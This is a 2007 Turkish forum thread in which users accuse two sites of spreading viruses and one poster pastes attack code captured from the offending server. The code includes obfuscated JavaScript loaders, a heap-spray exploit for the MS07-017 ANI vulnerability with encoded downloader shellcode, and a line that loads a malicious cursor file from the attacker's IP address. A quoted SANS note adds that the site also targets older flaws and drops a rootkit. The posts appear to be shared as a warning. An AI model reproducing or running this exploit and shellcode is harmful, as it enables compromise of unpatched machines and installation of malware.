MELS adlı üyeden alıntı:
mesajı görüntüle
Hayatta başarılı olamayınca böyle başkalarının hakkını yemeye yöneldiniz neyse böyle konuları sevmem botnetci botnetci takılın siz.
Terbiyesiz.net ve Tekaskim.net virüs yayıyor
71
●12.348
- 31-07-2007, 18:20:34
Üyeliği durdurulduAkif bu yaptıkların senden çıkmasa bile ANANDAN BABANDAN KIZ KARDŞİNDEDN ÇOCUKLARINDAN KARINDAN TEYZENEDDN DAYINDAN çıkıcak o haksız yere kazandıııın o webmasterlarının sabahlara kadar çalışıp üye kastıranlardan haksız kazanç onların sırtından para kazanman hepsi hak'tır. VE hakta bi vebaldir. Haramdır. O haram lokma öle bi çıkıcak ki senden eline ayağına kurban olucaksın! - 31-07-2007, 18:51:26 Üyeliği durdurulduilk önce dedmd page.htm'e yolluor
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0033)http://81.95.149.27/oth/index.php -->
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1254">
<SCRIPT language=JavaScript>function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,6,1 7,58,59,21,25,11,5,39,0,0,0,0,0,0,53,40,60,48,44,6 2,50,24,0,2,4,49,42,46,54,1,29,61,16,14,56,55,12,2 7,33,41,34,0,0,0,0,36,0,15,32,7,22,10,35,8,9,28,13 ,51,45,43,18,38,52,23,19,20,31,3,26,57,47,37,30);f or(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8 ;s-=2}else{s=6}}document.write(r)}}decipher("8o64Kfz3 WZ3m6NST_cEoAEvoKkzBYuEoXuVFeqG@J7VC6LGBDct3bxhLxo YZluSwXxhLxowwLcS08vPpi9VCGzGCVWP@hrVUtMDF7uBXWZ3m 6ni@59VC2qgKqWikVajCGzGk2cP@tLAZPnwZiIwZs1h97zY_eL ipjmgFdqYysnwZarB@cdAKecVCcrD@HfwXjcPp50YZeNhy7Fh_ 7n6_iMTynLAF2UBX8vDFOuVoc1aKSuiQqkBpV9VCIuD@7viFJW l@cdApVcipjfhy8dGkHkDCjcjosMhLxo6@JtjKgqTFJfVCGzg3 ecVphuiQJcPkcdTpJ9VpHfwXjcPp50YZeNhy7Fh_7n6_iMTynL AF2UDZIuip7dPk5mYF5cjohmVKOtToAEvoeni@59VC2xhLxZ3m 61S4kqgkOfwXUuVFecjC3UMFdcQXWNip2qQ9eLG9sMg9RMgy2F wZqeYZecPkeeVC2xG@jqloeqPpGoDFJcioe1S4kxhLxZ3m6vxw UkzQKqG3JxDCRrDCHfwXarBpJWlKqki@2tGX2kP@HfwX2uiU2m TkJajKdWB@VqPpcMhLxZ3muuQF1cjkexiXotjCJcjCLUAFhdTF VdAUAE3pJtPXqqgo8MVph9D9AEvpqkPXzqgCrriFjeT@8Z6Xex AwquVK2uD3c0VC1cPf7kAbVdgN1rip1UifHkAUGf3mVaiXjnGX qkGXzf3m2tjU83PXHajKhUAbqqgo8LBZotjCJcjCLtBkHWipjM iZ8zTXVegf8ZlKJclKjUgCV3jNAEeNAEekuqGfJdT@VdAUAEvp qkPXzqgCrriFjeT@8Z6XexAwquVK2uD3c0VC1cPf79GXczGZ8z TXVegf8ZlKJclKjUgCV3jNAEeNAEekuqGfJdT@VdAUAEvpqkPX zqgCrriFjeT@8Z6XexATHcl3c0VC1cPfczGZ8MVfIFGXGWVK2W ikjIVfzfjLxZjLxZ3mVaiXjnGXqkGXzf3m2tjU83PXHajKhUAb qqgo8LBZZuipLtBkHWipjMiZ8zTXVegf8ZlKJclKjUgCV3jNAE eNAEeLxFBC8NgX8zjf83jLx1Q@iqAU8IBpJ9ifIzPXGdAF7eSC 2mEKauDK2UTFVegf8ZlKJclKjUgCV3jNAEeNAE3@Hcjpqxifqk A98dGX8dGXAEeNAEeLxSVp7WipVmBF8eSC2mxBVxDEkuB@dkDF 7Ugf8dGXzf3mAEvX8dGX8SjKqqg4bajCqWjkexVo7rBpV7VK2m B@7ni@5aaCqWjkexD9AEvX8dGX8FBC8Ng4bajCqWjkexBZVxiC HUl3uUAbFkBFOmDpdqg9Regf8ngo8ZgyVdT@HcjpqxiXcFh_cZ 3m8dGX8dgChWjC8FBC8Ng4bajCqWjkexBZVxiCHUl3uUAbFkBF OmDpdqT3KqG_IFGXJZ6Xgnhf8zjC2uQ@7qTXmc0XAEvX8dGX8I iFduiXVaiXjFSTruB@dkDF7xgk7cVCPmECjeABVxiXiNPX2Mg9 IFGXJZ6Xgnhf8zjC2uQ@7qTXAuEXAEvX8dGX8IiFduiXVaiXjF STruB@dkDF7xgk7cVCPmECjeABVxiCe7l@8F69IFGXJZ6Xgnhf 8zjC2uQ@7qTXiNwXAEvX8dGX8IiFduiXVaiXjFSTruB@dkDF7x gk7cVCPmECjeABVxiCe7l@8MzB8IwZ5egf8ngo8ZgyVdT@Hcjp qxiXczY4cZ3m8dGX8dgChWjC8FBC8Ng4bajCqWjkexBZVxiCHU l3uUAbFkBFOmDpdqT3Kqg_7nYbVdgXGdgZsFGXquipRtQF8zG0 @tgLxdGX8dGXH9D@HqgkuqGfDuEpHtl@VmBF7FBFOuiULaifIe ak7cDFnWPXmctXRMTyIFGXJZ6Xgnhf8zjC2uQ@7qTXq3DycZ3m Gf3mAEeLxSVp7WipVmBF8eMFjnVf83jLxZ3mrrB@8vjw5qPX8d go8zAQjtAfcIiFhtAfcMTXSzgw5qQXSzGFVWVK2kDF7tA9AE3p JtPXdrzTLqGX8Z6XcnzTLtAfc1Ewc3TX7zAfcvtpqtAfcIVKgt A9AE3pJtPXerz@5qGX8Z6XotjCJcjCLUgKhdA@_qP@8FA9AE3p JtPXerzTLqGX8Z6XotjCJcjCLUgKhdA@_cM38FA9AE3pJtPXeW xw8dGX8Z6XotjCJcjCLUgKhdTXAWxQ1tjk5clwexipqmiF7vxK qki@2WMF7cQ@e9BXV3hLxZ3meWxw7oSK77VpJ7VCGzT4JajKNW B@VqPpc36X8Z3meWxw7zaCduipjFA9AEeLxSjKqqAFfmiFOuB@ 8Z6Xerz@5xT3JfVCNqjK1uifqdhfzZ3mrrB@8LBTe9iCHtj42u VFGLBTe9iCHtQZ@rB@duB3JfVCjzAQifBKe9BZ2cQCcFA9AE3T exip3qaK2UDEomVF5mBFHxipdfYFfmiFOuB@DcjCgxGQJcPk7v P@hkipjzGEwtgfzZ3mFkBFXkB@GdTTexip3qaK2UDEomVF5mBF Hxipd4tyTqAf8zGEwtGXSdTTexip3qaK2UDEomVF5mBFHxipd4 ayTqAf8zGEwtA9AEeTPuB3JfVCGzTXzZ3m8dGXAE3CetPXjFDk GdY9V4ioP3hkS4AfVZ3mzf3m8dGX8dgkVfh3JcPk7zjK7cDFgU gfzZ3m8dGX8dAKjWMFOuVoAripjxT@euQFOUgkV0TyRFAf5NQ_ s3hLxdGX8dGX1UDQifVoNcQ@VxDC7SB@efDwjrB@omiCHUAKjW MFOuVfAEvX8dGX8IzUHxSKguVobUjCmrVFH4AKjWaUg4hLxdGX 8dGXVaiXjvikomiCHfho5NQ_sFGXztB@HrDkG4hLxZjLxZ3mbU jCmrVFHfYBVxiTVtPXSdgTPuB3JfVC83GXcMgCPuBXzZ3mbUjC mrVFHfhTPuB3JfVC7zjC59VK1uifeotEeeiZcotEw9tEw9tEcF A9AEeLxSjKqqGCJcl98Z3mrrB@8IQ@hqgo8zaCgmipHmt4eWPp 7FBF7uB@KuiU24hLxSjKqqGUg9iXGdTFR9iFzZ3m2tjUAELUAE vUg9iXGdAwquVK2uD3jniZ8zg3VWB@eWlFucQZQfz3lctB@tgf zZ3mPfiF7Li@HxifceSTKtGZ8IQ@h9GXuriFduVfzZ3mGf3m1r ip1UifHkgLx3jLx1Q@if3mzf3mPfiF8Z6XotjCJcjCLUgKhdTX AWt0A9Ey7Na3YUzBKq0XV3hLxNjFhxAF5uBFjzATbc0Xhdgpq9 iZ8SVKhWjCV3hLxZjLxvVK2WikjIVfAELUAEvpqkjLx3jLxNjF hqgo8vE@HripHmzfJ9GXcZMQQfz3qMAQHtQpHtP0A9z4KctQcF A9AEvUg9BZeqjC7UTXZuzBcoGXRtPFhdTCJ9D@HkA9zZ3mGf3m 1rip1UifHkgLx3jLx1Q@if3mzf3mPfiFGMVCnqG0A9z42cP@Uu V@RuD@2UgfzZ3mPfiF7Li@HxifceSTKtGZ8IQ@h9GXuriFduVf zZ3mGf3m1rip1UifHkgLx3jLxzjC2uQ@7qTT_9MQb4hLxZjLxZ jLxZjLxZjLxNjFhxA@HxiCjMVph9VfzZ3mAELFNWEZ_ciCLtBk HWipjzAF_W0XhdAF_cM3V3hLxLDQoxgwOcD3c0VC1cPfcLi0Nt GZ8NjFhkA9AEeLxvlwecVCsZwXrrB@8N0wGLi0NxT@HWP@exD@ HtMFOkl9erMQ71aU5uVos3YF_W0ZAmiCHfYyzLVwNxA35uBFjF A9c3hLxvlwecVCqZwXerMQ7e0@VcjCjN0wV3wXzZ3mdWMFOuDy GIQFHWlKJqjCjzgbrSSb2nhbRvhbqISbRvhbrnhbnShbrIhbR1 wXV3hLxvlwecVC2Zhp7uD@1ri@HUTXHSwTH1w_HSh9HSYwHSh_ Hz69IzgfzZ3mAEL@omiCHqgodWMFOuVySvlwecVCq3A@omiCHW YfdWMFOui_SIzUHxSKguDfceGZqFA9c3hLxLDQoxgTPuDKRcjC NcjK2uVFHxipjvlwecVCV36XAEeLxLVw5qQZNUVCh9VTPuDKRc jCjIzUHxSKguVfzZ3mAE3@HcjpqxiXKtaBb4hLxZjLxZ3mrrB@ 8FiXGdGyzZ3mrrB@8oBk8Z6XczA9AE3pJtPX2qgo8MVCnqgwqt jKiUTXztAfh0DfczzTizAfh0DfcSYwRIw_gSh__WhZsn6Tc3GF a4TX5Zg9Pvhwgd6yoq6_fWEyiIMyrzAfh0DfcZQXhzAU9cS9rv S_c3TXRShZrIhwdzAfcZTXSzgyc3TXs1EXSzGygF69dnSZ5zAf cdYw51wTotAfczwXSzg9bWwXSzT_coTXzrEwizMwbczTgIMwnI SZc3TX2ehTsZTXSzg9dzAfczwyg1z__thy5ShynnhyrZQXhzAU c3TX5d6yc3TXrSzydvhZ5zAfcd6y5ZGy5dwXSzGyc3TXgvzyc3 TX5zAfcdwXSzgZc3TX5zAfcdwXSzGy5d6y5d6y5zAfc1w_c3TX GtGZc3QXSzGyc3TX5dw_fqwXSzAy_tAfcZGy5dwXSzGyc3TXgd 6y5dwXSzgZoq6y5ZGy5dwXSzGyc3TX5zAfcdwXSzGyc3TX5d6y c3TX2zAfcSwXhzAUc3TXrIDyqdY_5nVZnSwXSzT_OfG_HuB_gN Y_ivVZOWVyutAfcnV9s1Byc3TXuWBXSzAycoTXza6_c3TXs1h_ szwwgzAfczS9nNhZ2IwXSzgyXfgwc3TX51EXSzG9c3TXgzAfcS MwfcETdvhTPzAfcvwXSzAyc3TXotAfcZQXhzAUc3TXnSS_c3TX 97wTrvhZftAfcdwXSzT_ffG_dvhygzAfcNwXSzgwqShZdvh9bt AfcdwXSzAyoqhwc3TXbW6Tc3TXGtGZc3QXSzGyrewydIzyc3TX iZTT2vEXSzTyc3TXg1Yyc3TX1UhZc3TXPzAfcvwXSzg_c3TXPZ GyiSMwc3TXXr6T9qY_rzAfcSwXSzgNcoTXztAfcSYyizAfcSEX SzA_qIwTgzAfcnwXSzTwc3TXq1SZ2NYyc3TXsZgwiSzTc3TXgN Y_2N6_c3TXnzAfcS69qdhyc3TX5zAfcZQXhzAU9rzysNh_iFhZ s1Ewc3TXdZG_2SV9gNYy9chZ2SwXSzgy2I6_oU6_9az9GtGZc3 QXSzGT5vzyn1S_rzAfcZA_oah9c3TXgzAfc1Yyc3TXftAfcnwX SzgZc3TX9tAfc1hw5ZTyc3TXRzAfcSS__rhyfrEXSzTwc3TXsF wXSzgNcoTXztAfcIEXSzG9c3TXotAfcvEXSzAwc3TXXcETc3TX gzAfcvSwqzAfcNhZ2Fw_c3TXctAfcZTw5I6ygzAfcSwXSzAw5z AfcewXSzAwiSwy2ewXSzT_c3TX9fQXhMVph9VfzZ3mAE3pJtPX FkBFLWaoZuip37ak7m0BHtl@VmBFjFA9AE3pJtPXAul@2uzUHW Vp2uiCGdY9AE3pJtPXAcSwom0QRxBFHcVo53hLxZ3mrrB@8eak 7mMQGeSC2mxBVxDEkuB@dkDF7UgfzZ3mrrB@8ZSpdcjTPuDKRc jCOf6yzZ3mrrB@8ZzT_WMEUuQF7uiCGdY9AEeLxvlpVclKjqGf FkBFLWaf8dAUAEvX8dGX8dGXAEvX8dGX8dGX1rD@HqTXq3EXtZ 3m8dGX8dGX8dGX8dGX8dGX8dg3RWPpbUjC1uPpHcVos3hLxdGX 8dGX8dGX8dGX8dGX8dGXctjCJ4D9AEvX8dGX8dGX1rD@HqTXq3 MycEhLxdGX8dGX8dGX8dGX8dGX8dGXAul@2uzUHWVp2uiCGnY9 AEvX8dGX8dGX8dGX8dGX8dGX8zB@HrDkzZ3m8dGX8dGX8vVKdu iXcNtQcEhLxdGX8dGX8dGX8dGX8dGX8dGXAul@2uzUHWVp2uiC GnY98Z3m8dGX8dGX8dGX8dGX8dGX8dTKquVKS4hLxdGX8dGX8d GCHaVKR9iptZ3m8dGX8dGX8dGX8dGX8dGX8dg3RWPpbUjC1uPp HcVo53hLxdGX8dGX8dGX8dGX8dGX8dGXctjCJ4D9AEeN8dgLxZ 3mAEekuqGfAul@2uzUHWVp2uiCGZhyVdAUAEeLxdGX8ePkV9VC 8NGpEkVEVdAUAEvX8dGX8dGX8dTpJtPXJqgo8MVph9D9AEvX8d GX8dGX8dgkuqGf24akTxA@RtD@2tjk77if5ogyVdgoGdAbz7gf 83jLxdGX8dGX8dGX8niXGdGCeWVpguBF2xAKquVK2uVThuVFHx ipjzAFc0VC1cQXV3hLxdGX8dGX8dGX8nBZduip_cPpqkBKRcjC jzAKhrD@dkiCcoGXcviFdkiCtzGXSdGpEkVE7vjpcWPpqkBFIU gyhdGpEkVE7oVC77ipjqgZ8nhfV3hLxdGX8dGX8dGX8ZPXH9D@ HqAUAEvX8dGX8dGX8dGpqkPXzqgK8Z6X7uDp8nMK2kBpHUx3c0 VC1cPf24akTkA98ZPX1rip1UifHkAUGf3m8dGX8dGX8dGXGf3m AEvX8dGX8dGX8dgkuqGfJkGXzf3m8dGX8dGX8dGX8dGX8dGX2t jU83PX8dGX8dGX8dGX8Z3m8dGX8dGX8dGX8dGX8dGX8dTpJtPX cqgo8vE@HripHmzfJ9GXcvtkH9iFc3TX7zAfcnz@59Vk1ripVm BFcFA9AEvX8dGX8dGX8dGX8dGX8dGX8FBC8NTKVdAUAEvX8dGX 8dGX8dGX8dGX8dGX8dGX8dGX8dGXAcSwom0QRxBFHcVos36XAE vX8dGX8dGX8dGX8dGX8dGX8dGX8dGX8dGXVaiXjeMFjnVfVdTK quVKS4hLxdGX8dGX8dGX8dGX8dGX8dGXGf3mAEvX8dGX8dGX8d GX8dGX8dgN1rip1UifHkAUGf3m8dGX8dGX8dGXGf3m8dGX8dGX 8dGXV4AfzZ3mAEvX8dgNAEeLxdGX8FBC8Ng3XrMw3tap7xVCOf ho5FGX83jLxdGX8dGXnkBFOmDp7oDF1ripVmBFGzGk2cP@tLAZ PnwZiIwZs1h97zY_eLipjmgFdqY_gdhynMG@jqQXzZ3m8dGX8Z PX8Z3m8dGXAEeNAEeLxoYZNWEQDqtBWZ3mAEvoezM3Xk0oAEvo eNzBA9EoAEe")</SCRIPT>
<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>
<BODY></BODY></HTML>
sonra
ayıklıyor browser ve service pack'i bana ms07-017'i yollaıdd;
<html>
<body>
<script type="text/javascript" language="javascript">
var new_decode = unescape;
sRet_addr = "%u9090%u9090";
headersize = 5*4;
sDownloader="%u9090%u9090%u9090%u3390%u33c0%uebc9% u5e12%ub966%u0148%ufe8b%u2e80%u8007%u0436%ue246%ue bf7%ue805%uffe9%uffff%udcf4%u0b0b%u620b%uac67%u0b3 b%u0b0b%u4b96%u960f%u1f7b%u96b0%u1373%ufa96%u0775% uf364%u0b7c%u0b0b%u04ed%u7273%u0b71%u730b%u7d78%u7 06f%u0257%u9619%uf3f3%u0b66%u0b0b%uf296%uca8c%u0b3 b%u0b0b%uef8c%u0b3b%u0b0b%udf96%u3b73%u0b0b%u5e0b% u5902%uca07%u2307%u6e5f%u787b%u47ca%u0723%u6831%u6 883%u47c9%u1323%u3e0b%u5bcb%u5e5b%u5b5a%u5902%u961 b%u75df%u5e08%u5902%u9613%u96c9%u49f8%u0696%uc44a% u0b3b%u0b0b%uff54%ua7fe%ufb96%u0875%u025e%u1359%u5 902%u5c0f%u9659%u3f78%u7796%u8338%uf80e%u9659%u2b7 9%uf80e%ud43e%u4c54%u0eb0%u3ec8%u12e6%u1bc1%ufd43% u1377%ud6cc%u0e10%u4be5%ufcf6%u2246%uea78%u9661%u2 761%ue00e%u9669%u560f%u6196%u0e1f%u96e0%u9607%uc80 e%u61b6%uce64%u35f3%u0202%u9102%u1151%uf0ef%uefe6% ua303%u9501%u8111%uede3%u397e%u3225%u4e7b%u5f45%u7 d5b%u6a72%u6c7d%u2b70%u7449%u686f%u5f7e%u7154%u687 7%u717d%u7768%u482b%u7b83%u726f%u687d%u5f7d%u6874% u7b83%u726f%u687d%u6831%u6883%u730b%u7777%u457b%u3 232%u3c43%u4431%u3138%u373c%u3144%u3a3d%u7232%u737 7%u6a32%u7768%u7b31%u7b73%u7242%u777b%u6f40%u6c72% u0b67";
var shellcode=new_decode(sDownloader);
bigblock = new_decode(sRet_addr);
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) {
block = block+block+fillblock;
}
memory = new Array();
for (i=0;i
50;i++) memory[i] = block + shellcode;
document.write("<HTML><BODY style=\"CURSOR: url('http://81.95.149.27/oth/ms07-017.ani')\"></BODY></HTML>");
</script>
</body>
</html> - 31-07-2007, 18:55:20 Üyeliği durdurulduve sonradad ip'niz blokcluyor 1 kre yüklenen IP'e 1dadha yüklenmioyor.
<script language=JavaScript>function decipher(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,15, 43,10,5,54,59,11,9,31,0,0,0,0,0,0,26,46,52,2,12,60 ,1,19,47,39,38,37,35,32,18,50,22,40,58,8,27,17,44, 30,14,42,24,0,0,0,0,55,0,41,36,3,45,51,4,25,21,20, 23,6,48,29,61,57,7,0,34,62,49,33,56,53,28,13,16);f or(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8 ;s-=2}else{s=6}}document.write(r)}}decipher("4JatqHxB q9nJ52Ewjeyu4OHOzjS6wjSePjvt82VtXcxl7JarkcEOUcEwTC ")</script> - 31-07-2007, 18:58:35 Üyeliği durdurulduSANS'ın yaptıı açıklamada şöyle;
"It just goes to show that old vulnerabilities can still be effective. I recently ran across a site that our IDS detected via the ANI exploit.
http://ww.xx.yyy.zz /oth/ms07-017.ani
http://ww.xx.yyy.zz /oth/ms07-017.php
One of our machines accessed this site and got exploited, but they had the MS07-017 patch. Very strange. After de-obfuscating the javascript to see what exploits it uses, it turns out the site goes after MS03-011, MS06-014 and MS07-017. The system was patched for the two newer exploits, but not for the old Microsoft JVM vulnerability.
To make things worse, the site drops ntos.exe, which contains rootkit functionality. At least the binary is fairly well detected by AV vendors.
Depending on how security savvy your organization is, legacy issues can slip by for years."
If you think you're patched to current, how do you know for sure?
An occasional scan (using MBSA for example) will show you any missing patches. In a perfect world, every system would be able to always be patched to current but if you are one of the people who can't deploy certain patches because it will break critical business functionality, these reports will be the start of the paper trail you will want for your audits showing why they can't be patched.
-ingilizcem fazla olmadığı için açıklayamadıdm. bilenler bilmeyenlere çevirsin.
50;i++) memory[i] = block + shellcode;